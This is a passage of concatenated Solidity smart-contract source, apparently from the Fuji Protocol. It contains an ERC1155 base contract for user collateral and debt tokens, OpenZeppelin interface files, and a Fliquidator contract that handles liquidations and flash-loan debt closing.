import { IERC1155Receiver } from "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import { IERC1155MetadataURI } from "@openzeppelin/contracts/token/ERC1155/IERC1155MetadataURI.sol";
import { ERC165 } from "@openzeppelin/contracts/introspection/ERC165.sol";
import { IERC165 } from "@openzeppelin/contracts/introspection/IERC165.sol";
import { Address } from "@openzeppelin/contracts/utils/Address.sol";
import { Context } from "@openzeppelin/contracts/utils/Context.sol";
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { Errors } from "../Libraries/Errors.sol";
/**
*
* @dev Implementation of the Base ERC1155 multi-token standard functions
* for Fuji Protocol control of User collaterals and borrow debt positions.
* Originally based on Openzeppelin
*
*/
contract FujiBaseERC1155 is IERC1155, ERC165, Context {
using Address for address;
using SafeMath for uint256;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) internal _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) internal _operatorApprovals;
// Mapping from token ID to totalSupply
mapping(uint256 => uint256) internal _totalSupply;
//Fuji ERC1155 Transfer Control
bool public transfersActive;
modifier isTransferActive() {
require(transfersActive, Errors.VL_NOT_AUTHORIZED);
_;
}
//URI for all token types by relying on ID substitution
//https://token.fujiDao.org/{id}.json
string internal _uri;
/**
* @return The total supply of a token id
**/
function totalSupply(uint256 id) public view virtual returns (uint256) {
return _totalSupply[id];
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) public view virtual returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
* Requirements:
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), Errors.VL_ZERO_ADDR_1155);
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
* Requirements:
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, Errors.VL_INPUT_ERROR);
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(_msgSender() != operator, Errors.VL_INPUT_ERROR);
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override isTransferActive {
require(to != address(0), Errors.VL_ZERO_ADDR_1155);
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
Errors.VL_MISSING_ERC1155_APPROVAL
);
address operator = _msgSender();
_beforeTokenTransfer(
operator,
from,
to,
_asSingletonArray(id),
_asSingletonArray(amount),
data
);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, Errors.VL_NO_ERC1155_BALANCE);
_balances[id][from] = fromBalance.sub(amount);
_balances[id][to] = uint256(_balances[id][to]).add(amount);
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override isTransferActive {
require(ids.length == amounts.length, Errors.VL_INPUT_ERROR);
require(to != address(0), Errors.VL_ZERO_ADDR_1155);
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
Errors.VL_MISSING_ERC1155_APPROVAL
);
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, Errors.VL_NO_ERC1155_BALANCE);
_balances[id][from] = fromBalance.sub(amount);
_balances[id][to] = uint256(_balances[id][to]).add(amount);
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver(to).onERC1155Received.selector) {
revert(Errors.VL_RECEIVER_REJECT_1155);
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert(Errors.VL_RECEIVER_CONTRACT_NON_1155);
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {
revert(Errors.VL_RECEIVER_REJECT_1155);
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert(Errors.VL_RECEIVER_CONTRACT_NON_1155);
}
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "../../introspection/IERC165.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../introspection/IERC165.sol";
/**
* _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
)
external
returns(bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
external
returns(bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "./IERC1155.sol";
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
pragma experimental ABIEncoderV2;
import { IVault } from "./Vaults/IVault.sol";
import { IFujiAdmin } from "./IFujiAdmin.sol";
import { IFujiERC1155 } from "./FujiERC1155/IFujiERC1155.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { Flasher } from "./Flashloans/Flasher.sol";
import { FlashLoan } from "./Flashloans/LibFlashLoan.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { Errors } from "./Libraries/Errors.sol";
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { LibUniversalERC20 } from "./Libraries/LibUniversalERC20.sol";
import {
IUniswapV2Router02
} from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
interface IVaultExt is IVault {
//Asset Struct
struct VaultAssets {
address collateralAsset;
address borrowAsset;
uint64 collateralID;
uint64 borrowID;
}
function vAssets() external view returns (VaultAssets memory);
}
interface IFujiERC1155Ext is IFujiERC1155 {
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
}
contract Fliquidator is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using LibUniversalERC20 for IERC20;
struct Factor {
uint64 a;
uint64 b;
}
// Flash Close Fee Factor
Factor public flashCloseF;
IFujiAdmin private _fujiAdmin;
IUniswapV2Router02 public swapper;
// Log Liquidation
event Liquidate(
address indexed userAddr,
address liquidator,
address indexed asset,
uint256 amount
);
// Log FlashClose
event FlashClose(address indexed userAddr, address indexed asset, uint256 amount);
// Log Liquidation
event FlashLiquidate(address userAddr, address liquidator, address indexed asset, uint256 amount);
modifier isAuthorized() {
require(msg.sender == owner(), Errors.VL_NOT_AUTHORIZED);
_;
}
modifier onlyFlash() {
require(msg.sender == _fujiAdmin.getFlasher(), Errors.VL_NOT_AUTHORIZED);
_;
}
modifier isValidVault(address _vaultAddr) {
require(_fujiAdmin.validVault(_vaultAddr), "Invalid vault!");
_;
}
constructor() public {
// 1.013
flashCloseF.a = 1013;
flashCloseF.b = 1000;
}
receive() external payable {}
// FLiquidator Core Functions
/**
* @dev Liquidate an undercollaterized debt and get bonus (bonusL in Vault)
* @param _userAddrs: Address array of users whose position is liquidatable
* @param _vault: Address of the vault in where liquidation will occur
*/
function batchLiquidate(address[] calldata _userAddrs, address _vault)
external
nonReentrant
isValidVault(_vault)
{
// Update Balances at FujiERC1155
IVault(_vault).updateF1155Balances();
// Create Instance of FujiERC1155
IFujiERC1155Ext f1155 = IFujiERC1155Ext(IVault(_vault).fujiERC1155());
// Struct Instance to get Vault Asset IDs in f1155
IVaultExt.VaultAssets memory vAssets = IVaultExt(_vault).vAssets();
address[] memory formattedUserAddrs = new address[](2 * _userAddrs.length);
uint256[] memory formattedIds = new uint256[](2 * _userAddrs.length);
// Build the required Arrays to query balanceOfBatch from f1155
for (uint256 i = 0; i < _userAddrs.length; i++) {
formattedUserAddrs[2 * i] = _userAddrs[i];
formattedUserAddrs[2 * i + 1] = _userAddrs[i];
formattedIds[2 * i] = vAssets.collateralID;
formattedIds[2 * i + 1] = vAssets.borrowID;
}
// Get user Collateral and Debt Balances
uint256[] memory usrsBals = f1155.balanceOfBatch(formattedUserAddrs, formattedIds);
uint256 neededCollateral;
uint256 debtBalanceTotal;
for (uint256 i = 0; i < formattedUserAddrs.length; i += 2) {
// Compute Amount of Minimum Collateral Required including factors
neededCollateral = IVault(_vault).getNeededCollateralFor(usrsBals[i + 1], true);
// Check if User is liquidatable
if (usrsBals[i] < neededCollateral) {
// If true, add User debt balance to the total balance to be liquidated
debtBalanceTotal = debtBalanceTotal.add(usrsBals[i + 1]);
} else {
// Replace User that is not liquidatable by Zero Address
formattedUserAddrs[i] = address(0);
formattedUserAddrs[i + 1] = address(0);
}
}
// Check there is at least one user liquidatable
require(debtBalanceTotal > 0, Errors.VL_USER_NOT_LIQUIDATABLE);
// Check Liquidator Allowance
require(
IERC20(vAssets.borrowAsset).allowance(msg.sender, address(this)) >= debtBalanceTotal,
Errors.VL_MISSING_ERC20_ALLOWANCE
);
// Transfer borrowAsset funds from the Liquidator to Here
IERC20(vAssets.borrowAsset).transferFrom(msg.sender, address(this), debtBalanceTotal);
// Transfer Amount to Vault
IERC20(vAssets.borrowAsset).univTransfer(payable(_vault), debtBalanceTotal);
// TODO: Get => corresponding amount of BaseProtocol Debt and FujiDebt
// Repay BaseProtocol debt
IVault(_vault).payback(int256(debtBalanceTotal));
//TODO: Transfer corresponding Debt Amount to Fuji Treasury
// Compute the Liquidator Bonus bonusL
uint256 globalBonus = IVault(_vault).getLiquidationBonusFor(debtBalanceTotal, false);
// Compute how much collateral needs to be swapt
uint256 globalCollateralInPlay =
_getCollateralInPlay(vAssets.borrowAsset, debtBalanceTotal.add(globalBonus));
// Burn Collateral f1155 tokens for each liquidated user
_burnMultiLoop(formattedUserAddrs, usrsBals, IVault(_vault), f1155, vAssets);
// Withdraw collateral
IVault(_vault).withdraw(int256(globalCollateralInPlay));
// Swap Collateral
_swap(vAssets.borrowAsset, debtBalanceTotal.add(globalBonus), globalCollateralInPlay);
// Transfer to Liquidator the debtBalance + bonus
IERC20(vAssets.borrowAsset).univTransfer(msg.sender, debtBalanceTotal.add(globalBonus));
// Burn Debt f1155 tokens and Emit Liquidation Event for Each Liquidated User
for (uint256 i = 0; i < formattedUserAddrs.length; i += 2) {
if (formattedUserAddrs[i] != address(0)) {
f1155.burn(formattedUserAddrs[i], vAssets.borrowID, usrsBals[i + 1]);
emit Liquidate(formattedUserAddrs[i], msg.sender, vAssets.borrowAsset, usrsBals[i + 1]);
}
}
}
/**
* @dev Initiates a flashloan used to repay partially or fully the debt position of msg.sender
* @param _amount: Pass -1 to fully close debt position, otherwise Amount to be repaid with a flashloan
* @param _vault: The vault address where the debt position exist.
* @param _flashnum: integer identifier of flashloan provider
*/
function flashClose(
int256 _amount,
address _vault,
uint8 _flashnum
) external nonReentrant isValidVault(_vault) {
Flasher flasher = Flasher(payable(_fujiAdmin.getFlasher()));
// Update Balances at FujiERC1155
IVault(_vault).updateF1155Balances();
// Create Instance of FujiERC1155
IFujiERC1155Ext f1155 = IFujiERC1155Ext(IVault(_vault).fujiERC1155());
// Struct Instance to get Vault Asset IDs in f1155
IVaultExt.VaultAssets memory vAssets = IVaultExt(_vault).vAssets();
// Get user Balances
uint256 userCollateral = f1155.balanceOf(msg.sender, vAssets.collateralID);
uint256 userDebtBalance = f1155.balanceOf(msg.sender, vAssets.borrowID);
// Check Debt is > zero
require(userDebtBalance > 0, Errors.VL_NO_DEBT_TO_PAYBACK);
uint256 amount = _amount < 0 ? userDebtBalance : uint256(_amount);
uint256 neededCollateral = IVault(_vault).getNeededCollateralFor(amount, false);
require(userCollateral >= neededCollateral, Errors.VL_UNDERCOLLATERIZED_ERROR);
address[] memory userAddressArray = new address[](1);
userAddressArray[0] = msg.sender;
FlashLoan.Info memory info =
FlashLoan.Info({
callType: FlashLoan.CallType.Close,
asset: vAssets.borrowAsset,
amount: amount,
vault: _vault,
newProvider: address(0),
userAddrs: userAddressArray,
userBalances: new uint256[](0),
userliquidator: address(0),
fliquidator: address(this)
});
flasher.initiateFlashloan(info, _flashnum);
}
/**
* @dev Close user's debt position by using a flashloan
* @param _userAddr: user addr to be liquidated
* @param _vault: Vault address
* @param _amount: amount received by Flashloan
* @param _flashloanFee: amount extra charged by flashloan provider
* Emits a {FlashClose} event.
*/
function executeFlashClose(
address payable _userAddr,
address _vault,
uint256 _amount,
uint256 _flashloanFee
) external onlyFlash {
// Create Instance of FujiERC1155
IFujiERC1155 f1155 = IFujiERC1155(IVault(_vault).fujiERC1155());
// Struct Instance to get Vault Asset IDs in f1155
IVaultExt.VaultAssets memory vAssets = IVaultExt(_vault).vAssets();
// Get user Collateral and Debt Balances
uint256 userCollateral = f1155.balanceOf(_userAddr, vAssets.collateralID);
uint256 userDebtBalance = f1155.balanceOf(_userAddr, vAssets.borrowID);
// Get user Collateral + Flash Close Fee to close posisition, for _amount passed
uint256 userCollateralInPlay =
IVault(_vault)
.getNeededCollateralFor(_amount.add(_flashloanFee), false)
.mul(flashCloseF.a)
.div(flashCloseF.b);
// TODO: Get => corresponding amount of BaseProtocol Debt and FujiDebt
// Repay BaseProtocol debt
IVault(_vault).payback(int256(_amount));
//TODO: Transfer corresponding Debt Amount to Fuji Treasury
// Full close
if (_amount == userDebtBalance) {
f1155.burn(_userAddr, vAssets.collateralID, userCollateral);
// Withdraw Full collateral
IVault(_vault).withdraw(int256(userCollateral));
// Send unUsed Collateral to User
IERC20(vAssets.collateralAsset).univTransfer(
_userAddr,
userCollateral.sub(userCollateralInPlay)
);
} else {
f1155.burn(_userAddr, vAssets.collateralID, userCollateralInPlay);
// Withdraw Collateral in play Only
IVault(_vault).withdraw(int256(userCollateralInPlay));
}
// Swap Collateral for underlying to repay Flashloan
uint256 remaining =
_swap(vAssets.borrowAsset, _amount.add(_flashloanFee), userCollateralInPlay);
// Send FlashClose Fee to FujiTreasury
IERC20(vAssets.collateralAsset).univTransfer(_fujiAdmin.getTreasury(), remaining);
// Send flasher the underlying to repay Flashloan
IERC20(vAssets.borrowAsset).univTransfer(
payable(_fujiAdmin.getFlasher()),
_amount.add(_flashloanFee)
);
// Burn Debt f1155 tokens
f1155.burn(_userAddr, vAssets.borrowID, _amount);
emit FlashClose(_userAddr, vAssets.borrowAsset, userDebtBalance);
}
/**
* @dev Initiates a flashloan to liquidate array of undercollaterized debt positions,
* gets bonus (bonusFlashL in Vault)
* @param _userAddrs: Array of Address whose position is liquidatable
* @param _vault: The vault address where the debt position exist.
* @param _flashnum: integer identifier of flashloan provider
*/
function flashBatchLiquidate(
address[] calldata _userAddrs,
address _vault,
uint8 _flashnum
) external isValidVault(_vault) nonReentrant {
// Update Balances at FujiERC1155
IVault(_vault).updateF1155Balances();
// Create Instance of FujiERC1155
IFujiERC1155Ext f1155 = IFujiERC1155Ext(IVault(_vault).fujiERC1155());
// Struct Instance to get Vault Asset IDs in f1155
IVaultExt.VaultAssets memory vAssets = IVaultExt(_vault).vAssets();
address[] memory formattedUserAddrs = new address[](2 * _userAddrs.length);
uint256[] memory formattedIds = new uint256[](2 * _userAddrs.length);
// Build the required Arrays to query balanceOfBatch from f1155
for (uint256 i = 0; i < _userAddrs.length; i++) {
formattedUserAddrs[2 * i] = _userAddrs[i];
formattedUserAddrs[2 * i + 1] = _userAddrs[i];
formattedIds[2 * i] = vAssets.collateralID;
formattedIds[2 * i + 1] = vAssets.borrowID;
}
// Get user Collateral and Debt Balances
uint256[] memory usrsBals = f1155.balanceOfBatch(formattedUserAddrs, formattedIds);
uint256 neededCollateral;
uint256 debtBalanceTotal;
for (uint256 i = 0; i < formattedUserAddrs.length; i += 2) {
// Compute Amount of Minimum Collateral Required including factors
neededCollateral = IVault(_vault).getNeededCollateralFor(usrsBals[i + 1], true);
// Check if User is liquidatable
if (usrsBals[i] < neededCollateral) {
// If true, add User debt balance to the total balance to be liquidated
debtBalanceTotal = debtBalanceTotal.add(usrsBals[i + 1]);
} else {
// Replace User that is not liquidatable by Zero Address
formattedUserAddrs[i] = address(0);
formattedUserAddrs[i + 1] = address(0);
}
}
// Check there is at least one user liquidatable
require(debtBalanceTotal > 0, Errors.VL_USER_NOT_LIQUIDATABLE);
Flasher flasher = Flasher(payable(_fujiAdmin.getFlasher()));
FlashLoan.Info memory info =
FlashLoan.Info({
callType: FlashLoan.CallType.BatchLiquidate,
asset: vAssets.borrowAsset,
amount: debtBalanceTotal,
vault: _vault,
newProvider: address(0),
userAddrs: formattedUserAddrs,
userBalances: usrsBals,
userliquidator: msg.sender,
fliquidator: address(this)
});
flasher.initiateFlashloan(info, _flashnum);
}
/**
* @dev Liquidate a debt position by using a flashloan
* @param _userAddrs: array **See formattedUserAddrs construction in 'function flashBatchLiquidate'
* @param _usrsBals: array **See construction in 'function flashBatchLiquidate'
* @param _liquidatorAddr: liquidator address
* @param _vault: Vault address
* @param _amount: amount of debt to be repaid
* @param _flashloanFee: amount extra charged by flashloan provider
* Emits a {FlashLiquidate} event.
*/
function executeFlashBatchLiquidation(
address[] calldata _userAddrs,
uint256[] calldata _usrsBals,
address _liquidatorAddr,
address _vault,
uint256 _amount,
uint256 _flashloanFee
) external onlyFlash {
// Create Instance of FujiERC1155
IFujiERC1155 f1155 = IFujiERC1155(IVault(_vault).fujiERC1155());
// Struct Instance to get Vault Asset IDs in f1155
IVaultExt.VaultAssets memory vAssets = IVaultExt(_vault).vAssets();
// TODO: Get => corresponding amount of BaseProtocol Debt and FujiDebt
// TODO: Transfer corresponding Debt Amount to Fuji Treasury
// Repay BaseProtocol debt to release collateral
IVault(_vault).payback(int256(_amount));
// Compute the Liquidator Bonus bonusFlashL
uint256 globalBonus = IVault(_vault).getLiquidationBonusFor(_amount, true);
// Compute how much collateral needs to be swapt for all liquidated Users
uint256 globalCollateralInPlay =
_getCollateralInPlay(vAssets.borrowAsset, _amount.add(_flashloanFee).add(globalBonus));
// Burn Collateral f1155 tokens for each liquidated user
_burnMultiLoop(_userAddrs, _usrsBals, IVault(_vault), f1155, vAssets);
// Withdraw collateral
IVault(_vault).withdraw(int256(globalCollateralInPlay));
_swap(vAssets.borrowAsset, _amount.add(_flashloanFee).add(globalBonus), globalCollateralInPlay);
// Send flasher the underlying to repay Flashloan
IERC20(vAssets.borrowAsset).univTransfer(
payable(_fujiAdmin.getFlasher()),
_amount.add(_flashloanFee)
);
// Transfer Bonus bonusFlashL to liquidator, minus FlashloanFee convenience
IERC20(vAssets.borrowAsset).univTransfer(
payable(_liquidatorAddr),
globalBonus.sub(_flashloanFee)
);
// Burn Debt f1155 tokens and Emit Liquidation Event for Each Liquidated User
for (uint256 i = 0; i < _userAddrs.length; i += 2) {
if (_userAddrs[i] != address(0)) {
f1155.burn(_userAddrs[i], vAssets.borrowID, _usrsBals[i + 1]);
emit FlashLiquidate(_userAddrs[i], _liquidatorAddr, vAssets.borrowAsset, _usrsBals[i + 1]);
}
}
}
/**
* @dev Swap an amount of underlying
* @param _borrowAsset: Address of vault borrowAsset
* @param _amountToReceive: amount of underlying to receive
* @param _collateralAmount: collateral Amount sent for swap
*/
function _swap(
address _borrowAsset,
uint256 _amountToReceive,
uint256 _collateralAmount
) internal returns (uint256) {
// Swap Collateral Asset to Borrow Asset
address[] memory path = new address[](2);
path[0] = swapper.WETH();
path[1] = _borrowAsset;
uint256[] memory swapperAmounts =
swapper.swapETHForExactTokens{ value: _collateralAmount }(
_amountToReceive,
path,
address(this),
// solhint-disable-next-line
block.timestamp
);
return _collateralAmount.sub(swapperAmounts[0]);
}
/**
* @dev Get exact amount of collateral to be swapt
* @param _borrowAsset: Address of vault borrowAsset
* @param _amountToReceive: amount of underlying to receive
*/
function _getCollateralInPlay(address _borrowAsset, uint256 _amountToReceive)
internal
view
returns (uint256)
{
address[] memory path = new address[](2);
path[0] = swapper.WETH();
path[1] = _borrowAsset;
uint256[] memory amounts = swapper.getAmountsIn(_amountToReceive, path);
return amounts[0];
}
/**
* @dev Abstracted function to perform MultBatch Burn of Collateral in Batch Liquidation
* checking bonus paid to liquidator by each
* See "function executeFlashBatchLiquidation"
*/
function _burnMultiLoop(
address[] memory _userAddrs,
uint256[] memory _usrsBals,
IVault _vault,
IFujiERC1155 _f1155,
IVaultExt.VaultAssets memory _vAssets
) internal {
uint256 bonusPerUser;
uint256 collateralInPlayPerUser;
for (uint256 i = 0; i < _userAddrs.length; i += 2) {
if (_userAddrs[i] != address(0)) {
bonusPerUser = _vault.getLiquidationBonusFor(_usrsBals[i + 1], true);
collateralInPlayPerUser = _getCollateralInPlay(
_vAssets.borrowAsset,
_usrsBals[i + 1].add(bonusPerUser)
);
_f1155.burn(_userAddrs[i], _vAssets.collateralID, collateralInPlayPerUser);
}
}
}
// Administrative functions
/**
* @dev Set Factors "a" and "b" for a Struct Factor flashcloseF
* For flashCloseF; should be > 1, a/b
* @param _newFactorA: A number
* @param _newFactorB: A number
*/
function setFlashCloseFee(uint64 _newFactorA, uint64 _newFactorB) external isAuthorized {
flashCloseF.a = _newFactorA;
flashCloseF.b = _newFactorB;
}
/**
* @dev Sets the fujiAdmin Address
